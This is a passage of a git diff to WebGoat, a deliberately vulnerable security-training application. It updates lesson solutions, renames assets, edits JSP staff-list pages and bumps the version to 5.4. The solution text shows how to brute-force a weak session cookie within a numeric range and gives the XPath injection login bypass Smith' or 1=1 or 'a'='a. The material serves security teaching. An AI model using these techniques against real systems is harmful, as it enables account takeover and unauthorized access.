    +Start the first loop at 363093, the last digits of the last cookie before the +authentication cookie and 363203, the first cookie after the authentication +cookie. You have to enter these two values in the Parameter1 fields. We have to brute-force these values, but we are sure that they lie +between these two boundaries.

    + +

    Examine the +results until you see a different fuzzy logic value (the blue line in Figure 3), right-click it and click on "Show +reply".

    + +

     

    + +

    + +

    Figure 4 Lesson 12 Completed

    + +

     

    + +

     

    + +
    + + + + + +
    + Solution by Erwin Geirnaert + ZION SECURITY
    + + + + diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image001.jpg b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image001.jpg new file mode 100644 index 000000000..7309a0035 Binary files /dev/null and b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image001.jpg differ diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image002.jpg b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image002.jpg new file mode 100644 index 000000000..3b442cc42 Binary files /dev/null and b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image002.jpg differ diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image003.jpg b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image003.jpg new file mode 100644 index 000000000..21ce9ef3d Binary files /dev/null and b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image003.jpg differ diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image004.jpg b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image004.jpg new file mode 100644 index 000000000..52b78aaca Binary files /dev/null and b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image004.jpg differ diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image005.jpg b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image005.jpg new file mode 100644 index 000000000..bbc01ffc1 Binary files /dev/null and b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image005.jpg differ diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image006.jpg b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image006.jpg new file mode 100644 index 000000000..27ca4296d Binary files /dev/null and b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image006.jpg differ diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/colorschememapping.xml b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/colorschememapping.xml similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/colorschememapping.xml rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/colorschememapping.xml diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/filelist.xml b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/filelist.xml similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/filelist.xml rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/filelist.xml diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image001.png b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image001.png similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image001.png rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image001.png diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image003.png b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image003.png similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image003.png rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image003.png diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image005.png b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image005.png similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image005.png rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image005.png diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image007.png b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image007.png similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image007.png rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image007.png diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image010.png b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image010.png similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image010.png rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image010.png diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image012.png b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image012.png similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image012.png rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image012.png diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image014.png b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image014.png similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image014.png rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image014.png diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image016.png b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image016.png similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image016.png rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image016.png diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image018.png b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image018.png similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image018.png rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image018.png diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image020.jpg b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image020.jpg similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image020.jpg rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image020.jpg diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image021.jpg b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image021.jpg similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image021.jpg rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image021.jpg diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image022.jpg b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image022.jpg similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image022.jpg rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image022.jpg diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image023.jpg b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image023.jpg similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image023.jpg rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image023.jpg diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image024.jpg b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image024.jpg similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image024.jpg rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image024.jpg diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image025.jpg b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image025.jpg similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image025.jpg rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image025.jpg diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image026.jpg b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image026.jpg similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image026.jpg rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image026.jpg diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image027.jpg b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image027.jpg similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image027.jpg rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image027.jpg diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image028.jpg b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image028.jpg similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image028.jpg rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image028.jpg diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image029.jpg b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image029.jpg similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/image029.jpg rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image029.jpg diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/themedata.thmx b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/themedata.thmx similarity index 100% rename from webgoat/src/main/webapp/lesson_solutions/WeakSessionID_files/themedata.thmx rename to webgoat/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/themedata.thmx diff --git a/webgoat/src/main/webapp/lesson_solutions/WsSAXInjection.html b/webgoat/src/main/webapp/lesson_solutions/WsSAXInjection.html index d1341a49e..c5e854290 100644 --- a/webgoat/src/main/webapp/lesson_solutions/WsSAXInjection.html +++ b/webgoat/src/main/webapp/lesson_solutions/WsSAXInjection.html @@ -9,6 +9,7 @@ xmlns="http://www.w3.org/TR/REC-html40"> +Solution: Web Service SAX Injection Inject XPath payload

     

    -Injecting Smith' or 1=1 or 'a'='a will log you on +Injecting Smith' or 1=1 or 'a'='a will log you on as the first user defined in the system. Password is a required field, so there you can enter whatever you want.

    This is what the server gets:
    diff --git a/webgoat/src/main/webapp/lessons/CrossSiteScripting/ListStaff.jsp b/webgoat/src/main/webapp/lessons/CrossSiteScripting/ListStaff.jsp index 2a8d07731..4f7acd643 100644 --- a/webgoat/src/main/webapp/lessons/CrossSiteScripting/ListStaff.jsp +++ b/webgoat/src/main/webapp/lessons/CrossSiteScripting/ListStaff.jsp @@ -18,9 +18,11 @@ <% List employees = (List) session.getAttribute("CrossSiteScripting." + CrossSiteScripting.STAFF_ATTRIBUTE_KEY); Iterator i = employees.iterator(); + EmployeeStub stub = (EmployeeStub) i.next();%> + <% while (i.hasNext()) { - EmployeeStub stub = (EmployeeStub) i.next();%> + stub = (EmployeeStub) i.next();%> <% }%> @@ -32,7 +34,7 @@ if (webSession.isAuthorizedInLesson(myUserId, CrossSiteScripting.CREATEPROFILE_ACTION)) { %> -
    +
    <% } %> diff --git a/webgoat/src/main/webapp/lessons/DBCrossSiteScripting/ListStaff.jsp b/webgoat/src/main/webapp/lessons/DBCrossSiteScripting/ListStaff.jsp index 60c963f11..a7c831377 100755 --- a/webgoat/src/main/webapp/lessons/DBCrossSiteScripting/ListStaff.jsp +++ b/webgoat/src/main/webapp/lessons/DBCrossSiteScripting/ListStaff.jsp @@ -18,9 +18,11 @@ <% List employees = (List) session.getAttribute("DBCrossSiteScripting." + DBCrossSiteScripting.STAFF_ATTRIBUTE_KEY); Iterator i = employees.iterator(); + EmployeeStub stub = (EmployeeStub) i.next();%> + <% while (i.hasNext()) { - EmployeeStub stub = (EmployeeStub) i.next();%> + stub = (EmployeeStub) i.next();%> <% }%> @@ -32,7 +34,7 @@ if (webSession.isAuthorizedInLesson(myUserId, DBCrossSiteScripting.CREATEPROFILE_ACTION)) { %> -
    +
    <% } %> diff --git a/webgoat/src/main/webapp/lessons/DBSQLInjection/ListStaff.jsp b/webgoat/src/main/webapp/lessons/DBSQLInjection/ListStaff.jsp index 035ab564c..3691a8280 100755 --- a/webgoat/src/main/webapp/lessons/DBSQLInjection/ListStaff.jsp +++ b/webgoat/src/main/webapp/lessons/DBSQLInjection/ListStaff.jsp @@ -19,9 +19,11 @@ <% List employees = (List) session.getAttribute("DBSQLInjection." + DBSQLInjection.STAFF_ATTRIBUTE_KEY); Iterator i = employees.iterator(); + EmployeeStub stub = (EmployeeStub) i.next();%> + <% while (i.hasNext()) { - EmployeeStub stub = (EmployeeStub) i.next();%> + stub = (EmployeeStub) i.next();%> <% }%> @@ -33,7 +35,7 @@ if (webSession.isAuthorizedInLesson(myUserId, DBSQLInjection.CREATEPROFILE_ACTION)) { %> -
    +
    <% } %> diff --git a/webgoat/src/main/webapp/lessons/GoatHillsFinancial/ListStaff.jsp b/webgoat/src/main/webapp/lessons/GoatHillsFinancial/ListStaff.jsp index f3bbd0055..40e78abb0 100755 --- a/webgoat/src/main/webapp/lessons/GoatHillsFinancial/ListStaff.jsp +++ b/webgoat/src/main/webapp/lessons/GoatHillsFinancial/ListStaff.jsp @@ -19,9 +19,11 @@ <% List employees = (List) session.getAttribute("GoatHillsFinancial." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY); Iterator i = employees.iterator(); + EmployeeStub stub = (EmployeeStub) i.next();%> + <% while (i.hasNext()) { - EmployeeStub stub = (EmployeeStub) i.next();%> + stub = (EmployeeStub) i.next();%> <% }%> @@ -33,7 +35,7 @@ if (webSession.isAuthorizedInLesson(myUserId, GoatHillsFinancial.CREATEPROFILE_ACTION)) { %> -
    +
    <% } %> diff --git a/webgoat/src/main/webapp/lessons/RoleBasedAccessControl/ListStaff.jsp b/webgoat/src/main/webapp/lessons/RoleBasedAccessControl/ListStaff.jsp index a3c2158de..16e976851 100644 --- a/webgoat/src/main/webapp/lessons/RoleBasedAccessControl/ListStaff.jsp +++ b/webgoat/src/main/webapp/lessons/RoleBasedAccessControl/ListStaff.jsp @@ -19,9 +19,11 @@ <% List employees = (List) session.getAttribute("RoleBasedAccessControl." + RoleBasedAccessControl.STAFF_ATTRIBUTE_KEY); Iterator i = employees.iterator(); + EmployeeStub stub = (EmployeeStub) i.next();%> + <% while (i.hasNext()) { - EmployeeStub stub = (EmployeeStub) i.next();%> + stub = (EmployeeStub) i.next();%> <% }%> @@ -33,7 +35,7 @@ if (webSession.isAuthorizedInLesson(myUserId, RoleBasedAccessControl.CREATEPROFILE_ACTION)) { %> -
    +
    <% } %> diff --git a/webgoat/src/main/webapp/lessons/SQLInjection/ListStaff.jsp b/webgoat/src/main/webapp/lessons/SQLInjection/ListStaff.jsp index 425867c3b..5b6256e71 100644 --- a/webgoat/src/main/webapp/lessons/SQLInjection/ListStaff.jsp +++ b/webgoat/src/main/webapp/lessons/SQLInjection/ListStaff.jsp @@ -19,9 +19,11 @@ <% List employees = (List) session.getAttribute("SQLInjection." + SQLInjection.STAFF_ATTRIBUTE_KEY); Iterator i = employees.iterator(); + EmployeeStub stub = (EmployeeStub) i.next();%> + <% while (i.hasNext()) { - EmployeeStub stub = (EmployeeStub) i.next();%> + stub = (EmployeeStub) i.next();%> <% }%> @@ -33,7 +35,7 @@ if (webSession.isAuthorizedInLesson(myUserId, SQLInjection.CREATEPROFILE_ACTION)) { %> -
    +
    <% } %> diff --git a/webgoat/src/main/webapp/main.jsp b/webgoat/src/main/webapp/main.jsp index 9df682eb9..379a36931 100644 --- a/webgoat/src/main/webapp/main.jsp +++ b/webgoat/src/main/webapp/main.jsp @@ -213,7 +213,7 @@ StringBuffer buildList = new StringBuffer(); { %>

    <% diff --git a/webgoat/src/main/webapp/webgoat.jsp b/webgoat/src/main/webapp/webgoat.jsp index 290ac9799..b1bad31ba 100644 --- a/webgoat/src/main/webapp/webgoat.jsp +++ b/webgoat/src/main/webapp/webgoat.jsp @@ -9,7 +9,7 @@ WebSession webSession = ((WebSession) session.getAttribute("websession")); -WebGoat V5.2 +WebGoat V5.4 @@ -54,10 +54,12 @@ by Bruce Mayhew. Please send all comments to Bruce at <%=webSession.getWebgoatCo
    David Anderson
    Rogan Dawes
    Laurence Casey (Graphics)
    +
    Brian Ciomei
    Chuck Willis
    Cam Morris
    +
    Yiannis Pavlosoglou